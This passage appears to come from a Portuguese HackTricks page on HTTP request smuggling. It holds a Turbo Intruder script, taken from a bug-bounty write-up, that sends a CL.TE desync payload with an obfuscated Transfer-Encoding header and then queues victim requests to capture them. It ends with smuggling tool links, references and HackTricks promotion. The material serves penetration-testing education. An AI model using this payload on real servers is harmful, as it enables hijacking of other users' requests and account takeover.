De: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
```
## Ferramentas
* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas de request smuggling.
## Referências
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
[**HackTricks Training GCP Red Team Expert (GRTE)**